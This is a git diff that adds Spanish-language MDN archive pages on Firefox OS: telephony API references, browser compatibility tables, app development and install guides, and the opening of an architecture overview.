+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Soporte basico</td>
+    <td><span style="color: #f00;">Sin soporte</span></td>
+    <td><span style="color: #f00;">Sin soporte</span></td>
+    <td><span style="color: #f00;">Sin soporte</span></td>
+    <td><span style="color: #f00;">Sin soporte</span></td>
+    <td><span style="color: #f00;">Sin soporte</span></td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Caracteristica</th>
+    <th>Android</th>
+    <th>Firefox Mobil (Gecko)</th>
+    <th>IE Mobil</th>
+    <th>Opera Mobil</th>
+    <th>Safari Mobil</th>
+   </tr>
+   <tr>
+    <td>Soporte basico</td>
+    <td><span style="color: #f00;">Sin soporte</span></td>
+    <td>12.0 (12.0)</td>
+    <td><span style="color: #f00;">Sin soporte</span></td>
+    <td><span style="color: #f00;">Sin soporte</span></td>
+    <td><span style="color: #f00;">Sin soporte</span></td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Ver_también">Ver también</h2>
+<ul>
+ <li><a href="/en/DOM/Using_the_Telephony_API" title="en/DOM/Using the Telephony API">Uso de la API de telefonía</a></li>
+ <li><a href="/es/docs/Web/API/Telephony">Telephony</a></li>
+ <li><a href="/es/docs/Web/API/CallEvent">CallEvent</a></li>
+ <li><a href="/es/docs/Web/API/Navigator.mozTelephony">window.navigator.mozTelephony</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/api/telephonycall/number/index.html b/files/es/archive/b2g_os/api/telephonycall/number/index.html
new file mode 100644
index 0000000000..7ac9efa096
--- /dev/null
+++ b/files/es/archive/b2g_os/api/telephonycall/number/index.html
@@ -0,0 +1,125 @@
+---
+title: TelephonyCall.number
+slug: Archive/B2G_OS/API/TelephonyCall/number
+translation_of: Archive/B2G_OS/API/TelephonyCall/number
+---
+<p></p><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/es/docs/Web/API/Archive"><code>Archive</code></a></strong></li><li class="toggle"><details open><summary>Páginas relacionadas a Firefox OS</summary><ol><li><a href="/es/docs/Web/API/MozAlarmsManager"><code>MozAlarmsManager</code></a></li><li><a href="/es/docs/Web/API/MozMobileNetworkInfo"><code>MozMobileNetworkInfo</code></a></li><li><a href="/es/docs/Web/API/MozWifiP2pGroupOwner"><code>MozWifiP2pGroupOwner</code></a></li></ol></details></li></ol></section><p></p>
+
+<p></p><div class="overheadIndicator nonStandard nonStandardHeader">
+      <p><strong><span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span> No estándar</strong><br>
+      This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.</p>
+      </div><p></p>
+
+<p></p><div class="warning">
+    <p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div><p></p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">El</span> <span class="hps">número de teléfono asociado</span> <span class="hps">con una llamada telefónica</span><span>.</span></span> <strong>Solo lectura.</strong></p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">var phoneNum = window.navigator.mozTelephony.number;
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">Valor</h3>
+
+<p><br>
+ <span id="result_box" lang="es"><span class="hps">Una</span> <span class="hps">cadena (<a href="/en/JavaScript/Reference/Global_Objects/String" title="String"><code>String</code></a>) que indica</span> <span class="hps">el número asociado a</span> <span class="hps">la llamada.</span> <span class="hps">Esto puede</span> <span class="hps">ser o bien el</span> <span class="hps">número marcado</span> <span class="hps">durante</span> <span class="hps">una llamada saliente</span><span>,</span> <span class="hps">o</span> <span class="hps">el número de teléfono</span> <span class="hps">informado por</span> <span class="hps">ID de llamada </span><span class="hps">entrante.</span></span></p>
+
+<div class="note"><strong>Nota:</strong> <span id="result_box" lang="es"><span class="hps">El valor devuelto es</span> <span class="hps atn">probablemente "</span><span>"</span> <span class="hps">para</span> <span class="hps">llamadas de personas</span> <span class="hps">con</span> <span class="hps">identificador de llamadas</span> <span class="hps">bloqueadas</span></span>. <strong>¡Esto es solo una conjetura!</strong> Por favor actualice esto cuando lo sepa a ciencia cierta.</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es una implementacion estandar, pero se dicute en el W3C como parte del <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">Grupo de trabajo de aplicaciones del sistema</a>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a class="external" href="https://wiki.mozilla.org/WebAPI/WebTelephony" hreflang="en" lang="en" title="La especificación 'Web Telephony'">Web Telephony</a></td>
+   <td><span class="spec-Draft">Draft</span></td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Por razones obvias</span><span>, el apoyo</span> <span class="hps">se espera</span> <span class="hps">principalmente en</span> <span class="hps">los navegadores móviles</span><span>.</span> </span></p>
+
+<p></p><p class="warning"><strong><a href="https://github.com/mdn/browser-compat-data">We're converting our compatibility data into a machine-readable JSON format</a></strong>.
+            This compatibility table still uses the old format,
+            because we haven't yet converted the data it contains.
+            <strong><a href="/es/docs/MDN/Contribute/Structures/Compatibility_tables">Find out how you can help!</a></strong></p>
+
+<div class="htab">
+    <a id="AutoCompatibilityTable" name="AutoCompatibilityTable"></a>
+    <ul>
+        <li class="selected"><a>Escritorio</a></li>
+        <li><a>Móvil</a></li>
+    </ul>
+</div><p></p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Firefox Mobil (Gecko)</th>
+   <th>IE Mobil</th>
+   <th>Opera Mobil</th>
+   <th>Safari Mobil</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td>12.0 (12.0)</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/DOM/Using_the_Telephony_API" title="en/DOM/Using the Telephony API">Uso de la API de telefonía</a></li>
+ <li><a href="/es/docs/Web/API/Telephony" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Telephony</code></a></li>
+ <li><a href="/es/docs/Web/API/TelephonyCall">TelephonyCall</a></li>
+ <li><a href="/es/docs/Web/API/CallEvent">CallEvent</a></li>
+ <li><a href="/es/docs/Web/API/Window/navigator/mozTelephony" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>window.navigator.mozTelephony</code></a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/api/telephonycall/onincoming/index.html b/files/es/archive/b2g_os/api/telephonycall/onincoming/index.html
new file mode 100644
index 0000000000..38514ab777
--- /dev/null
+++ b/files/es/archive/b2g_os/api/telephonycall/onincoming/index.html
@@ -0,0 +1,120 @@
+---
+title: TelephonyCall.onincoming
+slug: Archive/B2G_OS/API/TelephonyCall/onincoming
+translation_of: Archive/B2G_OS/API/TelephonyCall/onincoming
+---
+<p></p><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/es/docs/Web/API/Archive"><code>Archive</code></a></strong></li><li class="toggle"><details open><summary>Páginas relacionadas a Firefox OS</summary><ol><li><a href="/es/docs/Web/API/MozAlarmsManager"><code>MozAlarmsManager</code></a></li><li><a href="/es/docs/Web/API/MozMobileNetworkInfo"><code>MozMobileNetworkInfo</code></a></li><li><a href="/es/docs/Web/API/MozWifiP2pGroupOwner"><code>MozWifiP2pGroupOwner</code></a></li></ol></details></li></ol></section><p></p>
+
+<p></p><div class="overheadIndicator nonStandard nonStandardHeader">
+      <p><strong><span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span> No estándar</strong><br>
+      This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.</p>
+      </div><p></p>
+
+<p></p><div class="warning">
+    <p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div><p></p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Una referencia</span> <span class="hps">a una función</span> <span class="hps">que se llamará</span> <span class="hps">para manejar</span> <span class="hps">evento de</span></span> <code><a href="/es/docs/Web/Reference/Events/incoming" title="/es/docs/Web/Reference/Events/incoming">incoming</a></code> <span id="result_box" lang="es"><span class="hps">de la</span> <span class="hps">API de telefonía</span><span>.</span></span><span id="result_box" lang="es"><span class="hps"> Este evento se produce</span> <span class="hps">cuando se detecta</span> <span class="hps">una llamada entrante.</span></span> <span id="result_box" lang="es"><span class="hps">El controlador de eventos</span> <span class="hps">se llama con un</span></span> <a href="/es/docs/Web/API/CallEvent" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>CallEvent</code></a> <span id="result_box" lang="es"><span class="hps">como único</span> <span class="hps">parámetro.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval"><em>instanceOfTelephonyCall</em>.onincoming = <em>funcRef</em>;
+</pre>
+
+<p>Donde <code>funcRef</code> es una función que se llamara cuando se resiva una llamda entrante <code><a href="/es/docs/Web/Reference/Events/incoming" title="/es/docs/Web/Reference/Events/incoming">incoming</a></code>. Estos eventos son de tipo <a href="/es/docs/Web/API/CallEvent" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>CallEvent</code></a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es una implementacion estandar, pero se discute en el W3C como parte del <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">Grupo de trabajo de aplicaciones del sistema</a>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a class="external" href="https://wiki.mozilla.org/WebAPI/WebTelephony" hreflang="en" lang="en" title="La especificación 'Web Telephony'">Web Telephony</a></td>
+   <td><span class="spec-Draft">Draft</span></td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Por razones obvias</span><span>, el apoyo</span> <span class="hps">se espera</span> <span class="hps">principalmente en</span> <span class="hps">los navegadores móviles</span><span>.</span></span></p>
+
+<p></p><p class="warning"><strong><a href="https://github.com/mdn/browser-compat-data">We're converting our compatibility data into a machine-readable JSON format</a></strong>.
+            This compatibility table still uses the old format,
+            because we haven't yet converted the data it contains.
+            <strong><a href="/es/docs/MDN/Contribute/Structures/Compatibility_tables">Find out how you can help!</a></strong></p>
+
+<div class="htab">
+    <a id="AutoCompatibilityTable" name="AutoCompatibilityTable"></a>
+    <ul>
+        <li class="selected"><a>Escritorio</a></li>
+        <li><a>Móvil</a></li>
+    </ul>
+</div><p></p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Firefox Mobil (Gecko)</th>
+   <th>IE Mobil</th>
+   <th>Opera Mobil</th>
+   <th>Safari Mobil</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td>12.0 (12.0)</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/DOM/Using_the_Telephony_API" title="en/DOM/Using the Telephony API">Uso de la API de telefonía</a></li>
+ <li><a href="/es/docs/Web/API/TelephonyCall" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>TelephonyCall</code></a></li>
+ <li><a href="/es/docs/Web/API/Telephony" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Telephony</code></a></li>
+ <li><a href="/es/docs/Web/API/CallEvent" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>CallEvent</code></a></li>
+ <li><a href="/es/docs/Web/API/Window/navigator/mozTelephony" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>window.navigator.mozTelephony</code></a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/api/window/index.html b/files/es/archive/b2g_os/api/window/index.html
new file mode 100644
index 0000000000..b5e3bcf899
--- /dev/null
+++ b/files/es/archive/b2g_os/api/window/index.html
@@ -0,0 +1,27 @@
+---
+title: Window (Firefox OS extensions)
+slug: Archive/B2G_OS/API/Window
+tags:
+  - Navegado
+translation_of: Archive/B2G_OS/API/Window
+---
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><strong><a href="/en-US/docs/Mozilla/Firefox_OS/API/Archive"><code>Archive</code></a></strong></li>
+</ol>
+</section>
+
+
+
+<p>The <code>Window</code> interface represents a window containing a DOM document. This page represents the list of properties and methods added to <code>Window</code> on Firefox OS devices. For the list of properties and methods available to any Web sites, consult <a href="/en-US/docs/Web/API/Window" title="The window object represents a window containing a DOM document; the document property points to the DOM document loaded in that window."><code>Window</code></a>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Window/onmoztimechange" title="The documentation about this has not yet been written; please consider contributing!"><code>Window.onmoztimechange</code></a></dt>
+ <dd>Contains the event handler to be called whent the event <code>moztimechange</code> is sent.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>There is no Firefox OS-specific method on the <code>Window</code> interface.</em></p>
diff --git a/files/es/archive/b2g_os/application_development/index.html b/files/es/archive/b2g_os/application_development/index.html
new file mode 100644
index 0000000000..95eb0170fd
--- /dev/null
+++ b/files/es/archive/b2g_os/application_development/index.html
@@ -0,0 +1,11 @@
+---
+title: Desarrollo de aplicaciones en Firefox OS
+slug: Archive/B2G_OS/Application_development
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS
+---
+<p><strong>Las aplicaciones de Firefox OS</strong> no son mas que <a href="/es/Aplicaciones" title="https://developer.mozilla.org/en/Apps">Open Web apps</a>, esto es Aplicaciones HTML5, que estan instaladas en un dispositivo que ejecuta Firefox OS. Esto significa que puedes usar tus conocimientos que tienes actualmente sobre desarrollo <em>front-end</em> para crear aplicaciones que corran en los teléfonos Firefox OS.</p>
+<p>Para más información sobre cómo desarrollar aplicaciones para Firefox OS en vez de sitios web puedes ver el tutorial <a href="/es/docs/Aplicaciones/Comenzando_aplicaciones">Comenzando a construir aplicaciones</a>. <span id="result_box" lang="es"><span class="hps">Desarrollar</span> <span class="hps">una aplicación para</span> <span class="hps">un sistema</span> <span class="hps">específico tiene</span> <span class="hps">algunas advertencias</span><span>.</span> <span class="hps">Puedes obtener</span> <span class="hps">informaciton</span> <span class="hps">relevante</span> sobre ellas en la<span class="hps"> guía</span><span>:</span></span> <a href="/es/docs/Mozilla/Firefox_OS/Escribiendo_una_aplicacion_web_para_B2G" title="/es/docs/Mozilla/Firefox_OS/Escribiendo_una_aplicacion_web_para_B2G">Escribiendo una aplicación web para B2G</a>.</p>
+<p>Una vez familiarizado con los puntos básicos, quizá puedas necesitar consultar la información sobre la <a href="/es/docs/Aplicaciones/Reference" title="/es/docs/Aplicaciones/Reference">API de Desarrollo de Aplicaciones</a>. Para información básica sobre el desarrollo de apps en Firefox OS, puedes ver el <a href="https://marketplace.firefox.com/developers/">Firefox Marketplace Developer Hub</a>.</p>
+<p> </p>
+<div class="note">
+  <strong>Nota:</strong> Actualmente Firefox OS se identifica usando la misma cadena UA que Firefox para los sistemas Android, excepto sin la clausula <code>Android</code>. Por ejemplo: <code>Mozilla/5.0 (Mobile; rv:15.0) Gecko/15.0 Firefox/15.0a1</code>.</div>
diff --git a/files/es/archive/b2g_os/apps/escribiendo_una_aplicacion_web_para_b2g/index.html b/files/es/archive/b2g_os/apps/escribiendo_una_aplicacion_web_para_b2g/index.html
new file mode 100644
index 0000000000..e3ca09ccb8
--- /dev/null
+++ b/files/es/archive/b2g_os/apps/escribiendo_una_aplicacion_web_para_b2g/index.html
@@ -0,0 +1,29 @@
+---
+title: Escribiendo una aplicación web para B2G
+slug: Archive/B2G_OS/Apps/Escribiendo_una_aplicacion_web_para_B2G
+tags:
+  - Firefox OS
+  - aplicaciones
+  - aplicación
+translation_of: Web/Apps/Fundamentals/Quickstart
+---
+<p>Las aplicaciones de B2G son solo aplicaciones Web escritas con HTML, CSS y JavaScript. Las puedes publicar en la Web tal como publicarías cualquier otro sitio Web. Con el fin de hacer instalable el sitio Web como una aplicación Web en el dispositivo, solo tienes que adornarlo con un manifiesto y conectar un botón de instalación tal como se explica a continuación.</p>
+<p>Los siguientes temas son puntos de partida recomendados:</p>
+<ul>
+  <li><a href="/es/docs/Aplicaciones/Comenzando_aplicaciones">Comenzar con el desarrollo de aplicaciones</a></li>
+  <li><a href="/es/docs/Aplicaciones/Manifest">Manifiesto de la aplicación</a></li>
+</ul>
+<p>Por supuesto, ¡no dudes en <a href="/es/docs/Aplicaciones">profundizar aún más en Open Web Apps</a>!</p>
+<h2 id="Instalando_la_aplicación_Web">Instalando la aplicación Web</h2>
+<p>Con la aplicación y el manifiesto publicados en la Web, necesitas hacer que Gecko sea conciente de ello. Al momento de la instalación, Gecko busca el manifiesto y agrega las entradas necesarias para la pantalla de inicio, etc.</p>
+<p>Para instalar una aplicación, llamar a la  <a href="/en-US/docs/Apps/Apps_JavaScript_API/navigator.mozApps.install"><code>API navigator.mozApps.install</code></a>. Aquí un ejemplo de un botón de instalación que podrías incluir en tu aplicación cuando la estas organizando:</p>
+<pre>&lt;script&gt;
+var manifest_url = "http://my.webapp.com/manifest.json";
+&lt;/script&gt;
+
+&lt;button onclick="navigator.mozApps.install(manifest_url); return false;"&gt;
+  ¡Instala esta impresionante aplicación en tu pantalla de inicio!
+&lt;/button&gt;
+</pre>
+<p>Nota: El botón de instalación podría estar también en el app market, tal como el <a href="/en-US/docs/Apps/Submitting_an_app">Firefox Marketplace</a>, pero a menudo es muy importante tener un un botón "Instalar como una apliación web" en la página principal de tu sitio.</p>
+<p>Ahora visita tu sitio web en el navegador de B2G y pulsa el botón de instalación.</p>
diff --git a/files/es/archive/b2g_os/apps/index.html b/files/es/archive/b2g_os/apps/index.html
new file mode 100644
index 0000000000..83e26c0f3f
--- /dev/null
+++ b/files/es/archive/b2g_os/apps/index.html
@@ -0,0 +1,62 @@
+---
+title: Creando Aplicaciones para Firefox OS
+slug: Archive/B2G_OS/Apps
+translation_of: Web/Apps/Fundamentals
+---
+<p>Las aplicaciones para dispositivos Firefox OS son simplemente aplicaciones Web; ellas consisten enteramente de tecnologías Web abiertas como JavaScript, HTML, y CSS. Mientras nuestra documentación primaria para aplicaciones cubre casi todo lo que necesitas saber, aquí hay algunos documentos específicos para desarrollar y probar Firefox OS.</p>
+<div class="row topicpage-table">
+  <div class="section">
+    <h2 class="Documentation" id="Documentation" name="Documentation">DOCUMENTACIón y tutoriales</h2>
+    <dl>
+      <dt>
+        <a href="/es/docs/Mozilla/Firefox_OS/Escribiendo_una_aplicacion_web_para_B2G">Escribiendo una aplicación web para Firefox OS</a></dt>
+      <dd>
+        Un tutorial para crear tu primera aplicación para Firefox OS.</dd>
+      <dt>
+        <a href="/en-US/docs/Mozilla/Firefox_OS/UX" title="/en-US/docs/Mozilla/Firefox_OS/UX">Experiencia de usuario</a></dt>
+      <dd>
+        Guías para ayudarte a desarrollar aplicaciones con experiencia de usuario consistente y atractiva, incluyendo ejemplos de código y plantillas.</dd>
+      <dt>
+        <a href="/en-US/docs/Mozilla/Firefox_OS/Apps/Tips_and_techniques">Tips y técnicas</a></dt>
+      <dd>
+        Una surtida variedad de tips y trucos (tanto como soluciones a los problemas) que nuestros desarrolladores sugieren para ti.</dd>
+    </dl>
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Apps">Ver más...</a></span></p>
+  </div>
+  <div class="section">
+    <h2 class="Community" id="Community" name="Community">recibiendo ayuda de la comunidad</h2>
+    <p>¿Necesitas ayuda en un problema relacionado con tu aplicación y no encuentras la solución en la documentación?</p>
+    <ul>
+      <li>Consulta el foro de aplicaciones web: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-webapps"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.webapps"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.webapps/feeds"> como RSS</a></li>
+</ul></li>
+      <li>Consulta el foro de interfaz, que cubre CSS y HTML:<ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-tech-css"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.layout"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.layout/feeds"> como RSS</a></li>
+</ul>
+        <ul>
+          <li>Pregunta en el canal Mozilla IRC: <a class="link-irc" href="irc://irc.mozilla.org/openwebapps">#openwebapps</a></li>
+        </ul>
+      </li>
+    </ul>
+    <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html">No olvides la etiqueta de la red...</a></span></p>
+    <h2 class="Tools" id="Tools" name="Tools">Herramientas</h2>
+    <ul>
+      <li><span class="external">El Firefox Debugger ofrece soporte para debug remoto de aplicaciones Firefox OS</span></li>
+      <li><span class="external">Otras <a href="/en-US/docs/Tools">Herramientas para desarrolladores</a></span></li>
+    </ul>
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Tools">Ver más...</a></span></p>
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Tópicos relacionados</h2>
+    <ul>
+      <li><a href="/en-US/docs/Web/Apps">Apps</a></li>
+    </ul>
+  </div>
+</div>
+<p> </p>
diff --git a/files/es/archive/b2g_os/architecture/index.html b/files/es/archive/b2g_os/architecture/index.html
new file mode 100644
index 0000000000..875eac916d
--- /dev/null
+++ b/files/es/archive/b2g_os/architecture/index.html
@@ -0,0 +1,759 @@
+---
+title: Arquitectura del Sistema Operativo Firefox OS
+slug: Archive/B2G_OS/Architecture
+translation_of: Archive/B2G_OS/Architecture
+---
+<div class="summary">
+<p><span class="seoSummary">Este artículo es un panorama de alto nivel de la arquitectura de la plataforma Firefox OS, que introduce conceptos fundamentales y explica cómo sus componentes interactúan a un nivel básico.</span></p>
+</div>
+
+<div class="note">
+<p><strong>Nota:</strong> recuerda que Firefox OS todavía se encuentra en estado de pre-lanzamiento. La arquitectura descrita aquí no necesariamente es la final y que otros elementos todavía pueden estar sujetos a cambios.</p>
+</div>
+
+<h2 id="Terminología_de_Firefox_OS">Terminología de Firefox OS</h2>
+
+<p>Existen algunos términos que debes entender antes de continuar leyendo nuestra documentación sobre Firefox OS.</p>
+
+<dl>
+ <dt>B2G</dt>
+ <dd>Sigla de Boot to Gecko.</dd>
+ <dt>Boot to Gecko</dt>
+ <dd>El nombre código de ingeniería para el sistema operativo Firefox OS.</dd>
+ <dt>Firefox OS</dt>
+ <dd>Es básicamente la marca y servicios de soporte de Mozilla (y sus socios de OEM) aplicados sobre <strong>Boot to Gecko</strong> para crear el producto final de lanzamiento.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Gaia" title="/en-US/docs/Mozilla/Firefox_OS/Gaia">Gaia</a></dt>
+ <dd>La interfaz de usuario de la plataforma Firefox OS. Cualquier cosa dibujada en la pantalla una vez que Firefox OS ha sido iniciado es un producto de la capa Gaia. La misma implementa la pantalla de seguridad (lock screen), pantalla principal (home screen) y todas las aplicaciones estándares de cualquier teléfono inteligente moderno. Gaia se implementa en su totalidad empleando HTML, CSS y JavaScript. Las interfaces subyacentes al sistema operativo son Web APIs de código abierto, que se implementan por medio de la capa Gecko. Las aplicaciones de terceros se pueden instalar en paralelo con la capa Gaia.</dd>
+ <dt><a href="/en-US/docs/Gecko" title="/en-US/docs/Accessibility/AT-APIs/Gecko">Gecko</a></dt>
+ <dd>Este es el <em>runtime</em> de aplicaciones de Firefox OS, es decir, la capa que provee todo el soporte para el trío de estándares de código abierto: HTML, CSS y JavaScript. Es responsable de que esas APIs funcionen bien en cualquier sistema operativo soportado por Gecko. Esto implica que Gecko incluya, además de otras cosas, paquetes de redes y de gráficos, un motor de diagramación, una máquina virtual de JavaScript y capas de adaptación (<em>porting</em>).</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Gonk" title="/en-US/docs/Mozilla/Firefox_OS/Gonk">Gonk</a></dt>
+ <dd>Gonk es el sistema operativo de bajo nivel de la plataforma Firefox OS que consiste un núcleo/kernel Linux (basado sobre el <a href="http://source.android.com/">Android Open Source Project</a> (AOSP)) y una capa de abstracción de hardware de espacio de usuario (HAL por su sigla en inglés). El kernel y varias de las librerías de espacio de usuario son proyectos comunes de código abierto: Linux, libusb, bluez, y sucesivos. Algunas de las otras partes de la HAL se comparten con la AOSP: GPS, cámara y otros. Se podría decir que Gonk es una distribución de Linux muy sencilla. <span style="line-height: 1.5;">Gonk es una capa de adaptación (port) de dispositivos: un adaptador entre el hardware y Gecko. Gonk es una distribución de Linux bastante sencilla que puede ser tratada como un adaptador Gecko empardado con capas de adaptación Gecko —entonces Gonk es un <strong>objetivo</strong> para adaptar <a href="https://developer.mozilla.org/en-US/docs/Gecko">Gecko</a> a Firefox OS así como también hay adaptadores de Gecko para OS X, Windows y Android.</span> Como el Proyecto Firefox OS goza de control total sobre Gonk, podemos exponer interfaces a Gecko que no podrían ser expuestas en otros sistemas operativos. Por ejemplo, Gecko posee a través de Gonk acceso directo al conjunto completo de telefonía y al buffer de pantalla pero no tiene este acceso en otros sistemas operativos.</dd>
+ <dt><a name="Jank">Jank</a></dt>
+ <dd>Este término, generalmente empleado en el área de las aplicaciones móviles, se refiere al efecto causado por código lento o ineficiente en una aplicación, que podría bloquear la actualización de la interfaz de usuario y provocar su lentitud o que no responda. Nuestros ingenieros de Gaia se valen de numerosas técnicas de optimización para evitar esto lo mejor posible.</dd>
+</dl>
+
+<h2 id="Diagrama_estructural">Diagrama estructural</h2>
+
+<p><img alt="Firefox OS Architecture" src="/files/4605/FirefoxOS.png" style="display: block; height: 915px; margin: 0px auto; width: 754px;"></p>
+
+<h2 id="Procedimiento_de_arranque_de_Firefox_OS">Procedimiento de arranque de Firefox OS</h2>
+
+<p>Esta sección describe el proceso por el que los dipositivos con Firefox OS arrancan (<em>butean</em>), cuáles partes están involucradas en el proceso y dónde. A modo de referencia rápida, el flujo del arranque general del sistema va desde los cargadores de arranque (<em>bootloaders</em>) en el espacio del núcleo/<em>kernel </em>al <em>init</em> en el código nati<em>vo</em>, a B2G y después a Geko en el espacio de usuario y después finalmente a la aplicación de sistema, gestor de ventanas y posteriormente a la pantalla de inicio de la aplicación en Gecko. Sobre ese conjunto se ejecutan todas las otras aplicaciones.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7491/bootup.png" style="display: block; height: 1979px; margin: 0px auto; width: 2112px;"></p>
+
+<h3 id="El_proceso_de_arranque_encadenado_(bootstrapping)">El proceso de arranque encadenado (<em>bootstrapping</em>)</h3>
+
